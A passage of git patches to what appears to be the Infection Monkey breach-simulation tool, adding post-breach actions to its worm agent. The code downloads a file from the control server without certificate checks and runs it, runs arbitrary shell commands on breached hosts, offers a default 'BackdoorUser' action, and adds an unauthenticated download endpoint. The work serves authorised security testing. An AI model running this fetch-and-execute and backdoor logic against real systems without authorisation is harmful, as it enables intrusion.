TelemetryFeed.get_exploit_telem_brief, 'scan': TelemetryFeed.get_scan_telem_brief, 'system_info_collection': TelemetryFeed.get_systeminfo_telem_brief, - 'trace': TelemetryFeed.get_trace_telem_brief + 'trace': TelemetryFeed.get_trace_telem_brief, + 'post_breach': TelemetryFeed.get_post_breach_telem_brief } From 2ce27dc885fc98f88f71c1b8be6cc0e0e8272087 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 11 Feb 2019 13:24:33 +0200 Subject: [PATCH 172/201] Added primitive display of post breach actions --- monkey/monkey_island/cc/resources/telemetry_feed.py | 7 +------ monkey/monkey_island/cc/services/node.py | 3 ++- monkey/monkey_island/cc/services/report.py | 3 ++- .../src/components/report-components/BreachedServers.js | 8 +++++++- 4 files changed, 12 insertions(+), 9 deletions(-) diff --git a/monkey/monkey_island/cc/resources/telemetry_feed.py b/monkey/monkey_island/cc/resources/telemetry_feed.py index 4b373330d..05ed841a6 100644 --- a/monkey/monkey_island/cc/resources/telemetry_feed.py +++ b/monkey/monkey_island/cc/resources/telemetry_feed.py @@ -82,12 +82,7 @@ class TelemetryFeed(flask_restful.Resource): @staticmethod def get_post_breach_telem_brief(telem): - target = telem['data']['ip'] - output = telem['data']['output'] - if output: - return 'Monkey ran post breach commands on %s.' % target - else: - return 'Monkey failed running post breach commands on %s.' % target + pass TELEM_PROCESS_DICT = \ diff --git a/monkey/monkey_island/cc/services/node.py b/monkey/monkey_island/cc/services/node.py index 50c921be8..68304e60b 100644 --- a/monkey/monkey_island/cc/services/node.py +++ b/monkey/monkey_island/cc/services/node.py @@ -142,7 +142,8 @@ class NodeService: "group": NodeService.get_monkey_group(monkey), "os": NodeService.get_monkey_os(monkey), "dead": monkey["dead"], - "domain_name": "" + "domain_name": "", + "post_breach_actions": monkey["post_breach_actions"] } @staticmethod diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index 73ca69b5b..b84c1d4d5 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -155,7 +155,8 @@ class ReportService: 'domain_name': monkey['domain_name'], 'exploits': list(set( [ReportService.EXPLOIT_DISPLAY_DICT[exploit['exploiter']] for exploit in monkey['exploits'] if - exploit['result']])) + exploit['result']])), + 'post_breach_actions': monkey['post_breach_actions'] if 'post_breach_actions' in monkey else 'None' } for monkey in exploited] diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/BreachedServers.js b/monkey/monkey_island/cc/ui/src/components/report-components/BreachedServers.js index 16f445ce9..02ed3610f 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/BreachedServers.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/BreachedServers.js @@ -9,6 +9,10 @@ let renderIpAddresses = function (val) { return
    {renderArray(val.ip_addresses)} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")}
    ; }; +let renderPostBreach = function (val) { + return
    {val.map(x =>
    Name: {x.name}
    Command: {x.command}
    Output: {x.output}
    )}
    ; +}; + const columns = [ { Header: 'Breached Servers', @@ -16,7 +20,9 @@ const columns = [ {Header: 'Machine', accessor: 'label'}, {Header: 'IP Addresses', id: 'ip_addresses', accessor: x => renderIpAddresses(x)}, - {Header: 'Exploits', id: 'exploits', accessor: x => renderArray(x.exploits)} + {Header: 'Exploits', id: 'exploits', accessor: x => renderArray(x.exploits)}, + {Header: 'Post breach actions:', id: 'post_breach_actions', accessor: x => renderPostBreach(x.post_breach_actions)} + ] } ]; From d539f2301c5a4180f7d981e4dbbea08d44958b74 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 15 Feb 2019 15:56:20 +0200 Subject: [PATCH 173/201] Separating my post breach from previous post breach --- monkey/infection_monkey/config.py | 12 ++- monkey/infection_monkey/example.conf | 5 +- monkey/infection_monkey/model/host.py | 3 - monkey/infection_monkey/monkey.py | 2 +- .../post_breach/file_execution.py | 8 ++ monkey/infection_monkey/post_breach/pba.py | 38 +++++++ .../post_breach/post_breach.py | 60 ----------- .../post_breach/post_breach_handler.py | 102 ++++++++++++++++++ monkey/monkey_island/cc/app.py | 2 + .../cc/resources/pba_file_download.py | 14 +++ monkey/monkey_island/cc/services/config.py | 47 ++++++++ .../cc/services/config_schema.py | 79 +++++++++++++- monkey/monkey_island/cc/services/node.py | 2 +- .../ui/src/components/pages/ConfigurePage.js | 14 ++- .../cc/ui/src/components/pages/ReportPage.js | 4 + .../report-components/BreachedServers.js | 8 +- .../report-components/PostBreach.js | 53 +++++++++ 17 files changed, 372 insertions(+), 81 deletions(-) create mode 100644 monkey/infection_monkey/post_breach/file_execution.py create mode 100644 monkey/infection_monkey/post_breach/pba.py delete mode 100644 monkey/infection_monkey/post_breach/post_breach.py create mode 100644 monkey/infection_monkey/post_breach/post_breach_handler.py create mode 100644 monkey/monkey_island/cc/resources/pba_file_download.py create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 65015b76c..a08e17fe5 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -20,6 +20,7 @@ class Configuration(object): # now we won't work at <2.7 for sure network_import = importlib.import_module('infection_monkey.network') exploit_import = importlib.import_module('infection_monkey.exploit') + post_breach_import = importlib.import_module('infection_monkey.post_breach') unknown_items = [] for key, value in formatted_data.items(): @@ -36,6 +37,9 @@ class Configuration(object): elif key == 'exploiter_classes': class_objects = [getattr(exploit_import, val) for val in value] setattr(self, key, class_objects) + elif key == 'post_breach_actions': + class_objects = [getattr(post_breach_import, val) for val in value] + setattr(self, key, class_objects) else: if hasattr(self, key): setattr(self, key, value) @@ -266,7 +270,13 @@ class Configuration(object): extract_azure_creds = True - post_breach_actions = {} + post_breach_actions = [] + custom_post_breach = {"linux": "", + "windows": "", + "linux_file": None, + "windows_file": None, + "linux_file_info": None, + "windows_file_info": None} WormConfiguration = Configuration() diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf index b3b44c585..fee397f2e 100644 --- a/monkey/infection_monkey/example.conf +++ b/monkey/infection_monkey/example.conf @@ -8,7 +8,7 @@ ], "keep_tunnel_open_time": 60, "subnet_scan_list": [ - + ], "inaccessible_subnets": [], "blocked_ips": [], @@ -97,5 +97,6 @@ "use_file_logging": true, "victims_max_exploit": 7, "victims_max_find": 30, - "post_breach_actions" : [] + "post_breach_actions" : [], + "custom_post_breach" : { "linux": "", "windows": "", "linux_file": "", "windows_file": "" } } diff --git a/monkey/infection_monkey/model/host.py b/monkey/infection_monkey/model/host.py index 3d8c3d0e6..dcc6e7455 100644 --- a/monkey/infection_monkey/model/host.py +++ b/monkey/infection_monkey/model/host.py @@ -46,6 +46,3 @@ class VictimHost(object): def set_default_server(self, default_server): self.default_server = default_server - - def is_linux(self): - return 'linux' in self.os['type'] diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index c03b29700..039052ad0 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -16,7 +16,7 @@ from infection_monkey.network.network_scanner import NetworkScanner from infection_monkey.system_info import SystemInfoCollector from infection_monkey.system_singleton import SystemSingleton from infection_monkey.windows_upgrader import WindowsUpgrader -from infection_monkey.post_breach.post_breach import PostBreach +from infection_monkey.post_breach.post_breach_handler import PostBreach __author__ = 'itamar' diff --git a/monkey/infection_monkey/post_breach/file_execution.py b/monkey/infection_monkey/post_breach/file_execution.py new file mode 100644 index 000000000..ef575d8cc --- /dev/null +++ b/monkey/infection_monkey/post_breach/file_execution.py @@ -0,0 +1,8 @@ +from infection_monkey.post_breach.pba import PBA + + +class FileExecution(PBA): + def __init__(self, file_path): + linux_command = "chmod 110 {0} ; {0} ; rm {0}".format(file_path) + win_command = "{0} & del {0}".format(file_path) + super(FileExecution, self).__init__("File execution", linux_command, win_command) diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py new file mode 100644 index 000000000..ab639c536 --- /dev/null +++ b/monkey/infection_monkey/post_breach/pba.py @@ -0,0 +1,38 @@ +import logging +from infection_monkey.control import ControlClient +import subprocess + +LOG = logging.getLogger(__name__) + + +# Post Breach Action container +class PBA(object): + def __init__(self, name="unknown", linux_command="", windows_command=""): + self.linux_command = linux_command + self.windows_command = windows_command + self.name = name + + def run(self, is_linux): + if is_linux: + command = self.linux_command + exec_funct = self.execute_linux + else: + command = self.windows_command + exec_funct = self.execute_win + try: + ControlClient.send_telemetry('post_breach', {'command': command, + 'output': exec_funct(), + 'name': self.name}) + return True + except subprocess.CalledProcessError as e: + ControlClient.send_telemetry('post_breach', {'command': command, + 'output': "Couldn't execute post breach command: %s" % e, + 'name': self.name}) + LOG.error("Couldn't execute post breach command: %s" % e) + return False + + def execute_linux(self): + return subprocess.check_output(self.linux_command, shell=True) if self.linux_command else False + + def execute_win(self): + return subprocess.check_output(self.windows_command, shell=True) if self.windows_command else False diff --git a/monkey/infection_monkey/post_breach/post_breach.py b/monkey/infection_monkey/post_breach/post_breach.py deleted file mode 100644 index c3b6d40f9..000000000 --- a/monkey/infection_monkey/post_breach/post_breach.py +++ /dev/null @@ -1,60 +0,0 @@ -import logging -import infection_monkey.config -import subprocess -import platform -from infection_monkey.control import ControlClient - -LOG = logging.getLogger(__name__) - -__author__ = 'VakarisZ' - - -# Class that handles post breach action execution -class PostBreach(object): - def __init__(self): - self.pba_list = PostBreach.config_to_pba_list(infection_monkey.config.WormConfiguration) - - def execute(self): - for pba in self.pba_list: - pba.run() - - @staticmethod - def config_to_pba_list(config): - """ - Should return a list of PBA's generated from config. After ATT&CK is implemented this will pick - which PBA's to run. - """ - pba_list = [] - # Get custom PBA command from config - custom_pba_linux = config.post_breach_actions['linux'] if "linux" in config.post_breach_actions else "" - custom_pba_windows = config.post_breach_actions['windows'] if "windows" in config.post_breach_actions else "" - - if custom_pba_linux or custom_pba_windows: - pba_list.append(PBA('custom_pba', custom_pba_linux, custom_pba_windows)) - return pba_list - - -# Post Breach Action container -class PBA(object): - def __init__(self, name="unknown", linux_command="", windows_command=""): - self.linux_command = linux_command - self.windows_command = windows_command - self.name = name - - def run(self): - if platform.system() == 'Windows': - ControlClient.send_telemetry('post_breach', {'command': self.windows_command, - 'output': self.execute_win(), - 'name': self.name}) - else: - ControlClient.send_telemetry('post_breach', {'command': self.linux_command, - 'output': self.execute_linux(), - 'name': self.name}) - return False - - def execute_linux(self): - return subprocess.check_output(self.linux_command, shell=True) if self.linux_command else False - - def execute_win(self): - return subprocess.check_output(self.windows_command, shell=True) if self.windows_command else False - diff --git a/monkey/infection_monkey/post_breach/post_breach_handler.py b/monkey/infection_monkey/post_breach/post_breach_handler.py new file mode 100644 index 000000000..b43832bd0 --- /dev/null +++ b/monkey/infection_monkey/post_breach/post_breach_handler.py @@ -0,0 +1,102 @@ +import logging +import infection_monkey.config +import platform +from infection_monkey.control import ControlClient +import infection_monkey.monkeyfs as monkeyfs +from infection_monkey.config import WormConfiguration +import requests +import shutil +import os +from file_execution import FileExecution +from pba import PBA + +LOG = logging.getLogger(__name__) + +__author__ = 'VakarisZ' + +DOWNLOAD_CHUNK = 1024 + + +# Class that handles post breach action execution +class PostBreach(object): + def __init__(self): + self.os_is_linux = False if platform.system() == 'Windows' else True + self.pba_list = self.config_to_pba_list(infection_monkey.config.WormConfiguration) + + def execute(self): + for pba in self.pba_list: + pba.run(self.os_is_linux) + + def config_to_pba_list(self, config): + """ + Should return a list of PBA's generated from config. After full implementation this will pick + which PBA's to run. + """ + pba_list = [] + # Get custom PBA commands from config + custom_pba_linux = config.custom_post_breach['linux'] + custom_pba_windows = config.custom_post_breach['windows'] + + if custom_pba_linux or custom_pba_windows: + pba_list.append(PBA('custom_pba', custom_pba_linux, custom_pba_windows)) + + # Download user's pba file by providing dest. dir, filename and file size + if config.custom_post_breach['linux_file'] and self.os_is_linux: + uploaded = PostBreach.download_PBA_file(PostBreach.get_dest_dir(config, self.os_is_linux), + config.custom_post_breach['linux_file_info']['name'], + config.custom_post_breach['linux_file_info']['size']) + if not custom_pba_linux and uploaded: + pba_list.append(FileExecution("./"+config.custom_post_breach['linux_file_info']['name'])) + elif config.custom_post_breach['windows_file'] and not self.os_is_linux: + uploaded = PostBreach.download_PBA_file(PostBreach.get_dest_dir(config, self.os_is_linux), + config.custom_post_breach['windows_file_info']['name'], + config.custom_post_breach['windows_file_info']['size']) + if not custom_pba_windows and uploaded: + pba_list.append(FileExecution(config.custom_post_breach['windows_file_info']['name'])) + + return pba_list + + @staticmethod + def download_PBA_file(dst_dir, filename, size): + PBA_file_v_path = PostBreach.download_PBA_file_to_vfs(filename, size) + try: + with monkeyfs.open(PBA_file_v_path, "rb") as downloaded_PBA_file: + with open(os.path.join(dst_dir, filename), 'wb') as written_PBA_file: + shutil.copyfileobj(downloaded_PBA_file, written_PBA_file) + return True + except IOError as e: + LOG.error("Can not download post breach file to target machine, because %s" % e) + return False + + @staticmethod + def download_PBA_file_to_vfs(filename, size): + if not WormConfiguration.current_server: + return None + try: + dest_file = monkeyfs.virtual_path(filename) + if (monkeyfs.isfile(dest_file)) and (size == monkeyfs.getsize(dest_file)): + return dest_file + else: + download = requests.get("https://%s/api/pba/download/%s" % + (WormConfiguration.current_server, filename), + verify=False, + proxies=ControlClient.proxies) + + with monkeyfs.open(dest_file, 'wb') as file_obj: + for chunk in download.iter_content(chunk_size=DOWNLOAD_CHUNK): + if chunk: + file_obj.write(chunk) + file_obj.flush() + if size == monkeyfs.getsize(dest_file): + return dest_file + + except Exception as exc: + LOG.warn("Error connecting to control server %s: %s", + WormConfiguration.current_server, exc) + + @staticmethod + def get_dest_dir(config, is_linux): + if is_linux: + return os.path.dirname(config.dropper_target_path_linux) + else: + return os.path.dirname(config.dropper_target_path_win_32) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index ef8410ed9..350c0b861 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -27,6 +27,7 @@ from cc.resources.report import Report from cc.resources.root import Root from cc.resources.telemetry import Telemetry from cc.resources.telemetry_feed import TelemetryFeed +from cc.resources.pba_file_download import PBAFileDownload from cc.services.config import ConfigService __author__ = 'Barak' @@ -116,6 +117,7 @@ def init_app(mongo_url): api.add_resource(TelemetryFeed, '/api/telemetry-feed', '/api/telemetry-feed/') api.add_resource(Log, '/api/log', '/api/log/') api.add_resource(IslandLog, '/api/log/island/download', '/api/log/island/download/') + api.add_resource(PBAFileDownload, '/api/pba/download/') api.add_resource(RemoteRun, '/api/remote-monkey', '/api/remote-monkey/') return app diff --git a/monkey/monkey_island/cc/resources/pba_file_download.py b/monkey/monkey_island/cc/resources/pba_file_download.py new file mode 100644 index 000000000..9c39d8f79 --- /dev/null +++ b/monkey/monkey_island/cc/resources/pba_file_download.py @@ -0,0 +1,14 @@ +import json +import logging +import os + +import flask_restful +from flask import request, send_from_directory + +UPLOADS_DIR = "./userUploads" + + +class PBAFileDownload(flask_restful.Resource): + # Used by monkey. can't secure. + def get(self, path): + return send_from_directory(UPLOADS_DIR, path) diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index ae5755174..76a67a3c4 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -4,6 +4,9 @@ import functools import logging from jsonschema import Draft4Validator, validators from six import string_types +from werkzeug.utils import secure_filename +import os +import base64 from cc.database import mongo from cc.encryptor import encryptor @@ -33,6 +36,7 @@ ENCRYPTED_CONFIG_STRINGS = \ ['cnc', 'aws_config', 'aws_secret_access_key'] ] +UPLOADS_DIR = './monkey_island/cc/userUploads' class ConfigService: default_config = None @@ -138,6 +142,8 @@ class ConfigService: @staticmethod def update_config(config_json, should_encrypt): + if 'custom_post_breach' in config_json['monkey']['behaviour']: + ConfigService.add_PBA_files(config_json['monkey']['behaviour']['custom_post_breach']) if should_encrypt: try: ConfigService.encrypt_config(config_json) @@ -281,3 +287,44 @@ class ConfigService: pair['public_key'] = encryptor.dec(pair['public_key']) pair['private_key'] = encryptor.dec(pair['private_key']) return pair + + @staticmethod + def add_PBA_files(post_breach_files): + """ + Interceptor of config saving process that uploads PBA files to server + and saves filenames and sizes in config instead of full file. + :param post_breach_files: Data URL encoded files + """ + # If any file is uploaded + if any(file_name in post_breach_files for file_name in ['linux_file', 'windows_file']): + # Create directory for file uploads if not present + if not os.path.exists(UPLOADS_DIR): + os.makedirs(UPLOADS_DIR) + if 'linux_file' in post_breach_files: + linux_name, linux_size = ConfigService.upload_file(post_breach_files['linux_file'], UPLOADS_DIR) + post_breach_files['linux_file_info']['name'] = linux_name + post_breach_files['linux_file_info']['size'] = linux_size + if 'windows_file' in post_breach_files: + windows_name, windows_size = ConfigService.upload_file(post_breach_files['windows_file'], UPLOADS_DIR) + post_breach_files['windows_file_info']['name'] = windows_name + post_breach_files['windows_file_info']['size'] = windows_size + + @staticmethod + def upload_file(file_data, directory): + """ + We parse data URL format of the file and save it + :param file_data: file encoded in data URL format + :param directory: where to save the file + :return: filename of saved file + """ + file_parts = file_data.split(';') + if len(file_parts) != 3 and not file_parts[2].startswith('base64,'): + logger.error("Invalid file format was submitted to the server") + return False + # Strip 'name=' from this field and secure the filename + filename = secure_filename(file_parts[1][5:]) + file_path = os.path.join(directory, filename) + with open(file_path, 'wb') as file_: + file_.write(base64.decodestring(file_parts[2][7:])) + file_size = os.path.getsize(file_path) + return [filename, file_size] diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index ff27cf101..dfc27e510 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -94,6 +94,19 @@ SCHEMA = { } ] }, + "post_breach_acts": { + "title": "Post breach actions", + "type": "string", + "anyOf": [ + { + "type": "string", + "enum": [ + "BackdoorUser" + ], + "title": "Back door user", + }, + ], + }, "finger_classes": { "title": "Fingerprint class", "type": "string", @@ -282,26 +295,84 @@ SCHEMA = { "type": "boolean", "default": True, "description": "Is the monkey alive" - } + }, + "post_breach_actions": { + "title": "Post breach actions", + "type": "array", + "uniqueItems": True, + "items": { + "$ref": "#/definitions/post_breach_acts" + }, + "default": [ + "BackdoorUser", + ], + "description": "List of actions the Monkey will run post breach" + }, } }, "behaviour": { "title": "Behaviour", "type": "object", "properties": { - "post_breach_actions": { - "title": "Post breach actions", + "custom_post_breach": { + "title": "Custom post breach actions", "type": "object", "properties": { "linux": { "title": "Linux command", "type": "string", - "description": "Linux command to execute after breaching" + "default": "", + "description": "Linux command to execute after breaching." + }, + "linux_file": { + "title": "Linux file", + "type": "string", + "format": "data-url", + "description": "File to be executed after breaching. " + "If you want custom execution behavior, " + "specify it in 'Linux command' field. " }, "windows": { "title": "Windows command", "type": "string", + "default": "", "description": "Windows command to execute after breaching" + }, + "windows_file": { + "title": "Windows file", + "type": "string", + "format": "data-url", + "description": "File to be executed after breaching. " + "If you want custom execution behavior, " + "specify it in 'Windows command' field. " + }, + "windows_file_info": { + "title": "Windows PBA file info", + "type": "object", + "properties": { + "name": { + "type": "string", + "default": "" + }, + "size": { + "type": "string", + "default": "0" + }, + } + }, + "linux_file_info": { + "title": "Linux PBA file info", + "type": "object", + "properties": { + "name": { + "type": "string", + "default": "" + }, + "size": { + "type": "string", + "default": "0" + }, + } } }, "default": [ diff --git a/monkey/monkey_island/cc/services/node.py b/monkey/monkey_island/cc/services/node.py index 68304e60b..0360ae73c 100644 --- a/monkey/monkey_island/cc/services/node.py +++ b/monkey/monkey_island/cc/services/node.py @@ -143,7 +143,7 @@ class NodeService: "os": NodeService.get_monkey_os(monkey), "dead": monkey["dead"], "domain_name": "", - "post_breach_actions": monkey["post_breach_actions"] + "post_breach_actions": monkey["post_breach_actions"] if "post_breach_actions" in monkey else "" } @staticmethod diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index 05e29fde0..078bfccd0 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -59,6 +59,16 @@ class ConfigurePageComponent extends AuthComponent { }) .then(res => res.json()) .then(res => { + // Leave PBA files on external configuration + if ('linux_file' in this.state.configuration.monkey.behaviour.custom_post_breach){ + let linux_file = this.state.configuration.monkey.behaviour.custom_post_breach.linux_file; + res.configuration.monkey.behaviour.custom_post_breach.windows_file = linux_file; + } + if ('windows_file' in this.state.configuration.monkey.behaviour.custom_post_breach){ + let windows_file = this.state.configuration.monkey.behaviour.custom_post_breach.windows_file; + res.configuration.monkey.behaviour.custom_post_breach.linux_file = windows_file; + } + this.setState({ lastAction: 'saved', schema: res.schema, @@ -154,7 +164,7 @@ class ConfigurePageComponent extends AuthComponent { let displayedSchema = {}; const uiSchema = { behaviour: { - post_breach_actions: { + custom_post_breach: { linux: { "ui:widget": "textarea" }, @@ -193,7 +203,7 @@ class ConfigurePageComponent extends AuthComponent { uiSchema={uiSchema} formData={this.state.configuration[this.state.selectedSection]} onSubmit={this.onSubmit} - onChange={this.onChange}> + onChange={this.onChange} >
    { this.state.allMonkeysAreDead ? '' : diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js index b5ab30581..643004bd3 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -2,6 +2,7 @@ import React from 'react'; import {Button, Col} from 'react-bootstrap'; import BreachedServers from 'components/report-components/BreachedServers'; import ScannedServers from 'components/report-components/ScannedServers'; +import PostBreach from 'components/report-components/PostBreach'; import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph'; import {edgeGroupToColor, options} from 'components/map/MapOptions'; import StolenPasswords from 'components/report-components/StolenPasswords'; @@ -460,6 +461,9 @@ class ReportPageComponent extends AuthComponent {
    +
    + +
    diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/BreachedServers.js b/monkey/monkey_island/cc/ui/src/components/report-components/BreachedServers.js index 02ed3610f..16f445ce9 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/BreachedServers.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/BreachedServers.js @@ -9,10 +9,6 @@ let renderIpAddresses = function (val) { return
    {renderArray(val.ip_addresses)} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")}
    ; }; -let renderPostBreach = function (val) { - return
    {val.map(x =>
    Name: {x.name}
    Command: {x.command}
    Output: {x.output}
    )}
    ; -}; - const columns = [ { Header: 'Breached Servers', @@ -20,9 +16,7 @@ const columns = [ {Header: 'Machine', accessor: 'label'}, {Header: 'IP Addresses', id: 'ip_addresses', accessor: x => renderIpAddresses(x)}, - {Header: 'Exploits', id: 'exploits', accessor: x => renderArray(x.exploits)}, - {Header: 'Post breach actions:', id: 'post_breach_actions', accessor: x => renderPostBreach(x.post_breach_actions)} - + {Header: 'Exploits', id: 'exploits', accessor: x => renderArray(x.exploits)} ] } ]; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js b/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js new file mode 100644 index 000000000..105978429 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js @@ -0,0 +1,53 @@ +import React from 'react'; +import ReactTable from 'react-table' + +let renderArray = function(val) { + return
    {val.map(x =>
    {x}
    )}
    ; +}; + +let renderIpAddresses = function (val) { + return
    {renderArray(val.ip_addresses)} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")}
    ; +}; + +let renderPostBreach = function (val) { + return
    {val.map(x =>
    Name: {x.name}
    Command: {x.command}
    Output: {x.output}
    )}
    ; +}; + +let renderMachine = function (val) { + return
    {val.label} {renderIpAddresses(val)}
    +}; + +const columns = [ + { + Header: 'Post breach actions', + columns: [ + {Header: 'Machine', id: 'machines', accessor: x => renderMachine(x)}, + {Header: 'Post breach actions:', id: 'post_breach_actions', accessor: x => renderPostBreach(x.post_breach_actions)} + ] + } +]; + +const pageSize = 10; + +class PostBreachComponent extends React.Component { + constructor(props) { + super(props); + } + + render() { + let defaultPageSize = this.props.data.length > pageSize ? pageSize : this.props.data.length; + let showPagination = this.props.data.length > pageSize; + return ( +
    + +
    + ); + } +} + +export default PostBreachComponent; From 4292fc845b7d15b64d6922af12723e3f8e048cd8 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 19 Feb 2019 21:22:41 +0200 Subject: [PATCH 174/201] File deletion --- .gitignore | 3 +++ monkey/monkey_island/cc/resources/monkey.py | 3 +++ monkey/monkey_island/cc/resources/root.py | 1 + monkey/monkey_island/cc/services/config.py | 21 +++++++++++++++++++++ 4 files changed, 28 insertions(+) diff --git a/.gitignore b/.gitignore index 44ae856a5..062bf065e 100644 --- a/.gitignore +++ b/.gitignore @@ -68,3 +68,6 @@ bin /monkey/monkey_island/cc/server.crt /monkey/monkey_island/cc/server.csr /monkey/monkey_island/cc/ui/node_modules/ + +# User files +/monkey/monkey_island/cc/userUploads diff --git a/monkey/monkey_island/cc/resources/monkey.py b/monkey/monkey_island/cc/resources/monkey.py index 80dd14604..171456d42 100644 --- a/monkey/monkey_island/cc/resources/monkey.py +++ b/monkey/monkey_island/cc/resources/monkey.py @@ -25,6 +25,9 @@ class Monkey(flask_restful.Resource): if guid: monkey_json = mongo.db.monkey.find_one_or_404({"guid": guid}) monkey_json['config'] = ConfigService.decrypt_flat_config(monkey_json['config']) + # Don't send file contents to the monkey + monkey_json['config']['custom_post_breach']['linux_file'] = '' + monkey_json['config']['custom_post_breach']['windows_file'] = '' return monkey_json return {} diff --git a/monkey/monkey_island/cc/resources/root.py b/monkey/monkey_island/cc/resources/root.py index 10e8f5170..1a18c2611 100644 --- a/monkey/monkey_island/cc/resources/root.py +++ b/monkey/monkey_island/cc/resources/root.py @@ -42,6 +42,7 @@ class Root(flask_restful.Resource): @staticmethod @jwt_required() def reset_db(): + ConfigService.remove_PBA_files() # We can't drop system collections. [mongo.db[x].drop() for x in mongo.db.collection_names() if not x.startswith('system.')] ConfigService.init_config() diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index 76a67a3c4..ae09ed176 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -179,6 +179,7 @@ class ConfigService: @staticmethod def reset_config(): + ConfigService.remove_PBA_files() config = ConfigService.get_default_config(True) ConfigService.set_server_ips_in_config(config) ConfigService.update_config(config, should_encrypt=False) @@ -309,6 +310,26 @@ class ConfigService: post_breach_files['windows_file_info']['name'] = windows_name post_breach_files['windows_file_info']['size'] = windows_size + @staticmethod + def remove_PBA_files(): + # Remove PBA files + current_config = ConfigService.get_config() + if current_config: + linux_file_name = ConfigService.get_config_value(['monkey', 'behaviour', 'custom_post_breach', 'linux_file_info', 'name']) + windows_file_name = ConfigService.get_config_value(['monkey', 'behaviour', 'custom_post_breach', 'windows_file_info', 'name']) + ConfigService.remove_file(linux_file_name) + ConfigService.remove_file(windows_file_name) + + @staticmethod + def remove_file(file_name): + file_path = os.path.join(UPLOADS_DIR, file_name) + try: + if os.path.exists(file_path): + os.remove(file_path) + except OSError as e: + logger.error("Can't remove previously uploaded post breach files: %s" % e) + + @staticmethod def upload_file(file_data, directory): """ From a51d7da1f90b10e13b69556b1cdc3a47d74f9f23 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 25 Feb 2019 14:29:47 +0200 Subject: [PATCH 175/201] Refactoring file upload UI -> server to be via filepond --- monkey/monkey_island/cc/app.py | 2 + .../monkey_island/cc/resources/file_upload.py | 29 + monkey/monkey_island/cc/services/config.py | 40 +- .../cc/services/config_schema.py | 2 - monkey/monkey_island/cc/ui/package-lock.json | 832 +++++++++--------- monkey/monkey_island/cc/ui/package.json | 2 + .../ui/src/components/pages/ConfigurePage.js | 27 +- monkey/monkey_island/cc/ui/src/index.js | 2 + 8 files changed, 471 insertions(+), 465 deletions(-) create mode 100644 monkey/monkey_island/cc/resources/file_upload.py diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 350c0b861..fd95abc6b 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -29,6 +29,7 @@ from cc.resources.telemetry import Telemetry from cc.resources.telemetry_feed import TelemetryFeed from cc.resources.pba_file_download import PBAFileDownload from cc.services.config import ConfigService +from cc.resources.file_upload import FileUpload __author__ = 'Barak' @@ -118,6 +119,7 @@ def init_app(mongo_url): api.add_resource(Log, '/api/log', '/api/log/') api.add_resource(IslandLog, '/api/log/island/download', '/api/log/island/download/') api.add_resource(PBAFileDownload, '/api/pba/download/') + api.add_resource(FileUpload, '/api/fileUpload/') api.add_resource(RemoteRun, '/api/remote-monkey', '/api/remote-monkey/') return app diff --git a/monkey/monkey_island/cc/resources/file_upload.py b/monkey/monkey_island/cc/resources/file_upload.py new file mode 100644 index 000000000..7e53ab3be --- /dev/null +++ b/monkey/monkey_island/cc/resources/file_upload.py @@ -0,0 +1,29 @@ +import flask_restful +from flask import request, send_from_directory +from cc.services.config import ConfigService +import os +from werkzeug.utils import secure_filename + +UPLOADS_DIR = "./monkey_island/cc/userUploads" + + +class FileUpload(flask_restful.Resource): + # Used by monkey. can't secure. + def get(self, path): + return send_from_directory(UPLOADS_DIR, path) + + def post(self, file_type): + if file_type == 'PBAlinux': + config = ConfigService.get_config() + file_info = ConfigService.get_config_value(['monkey', 'behaviour', 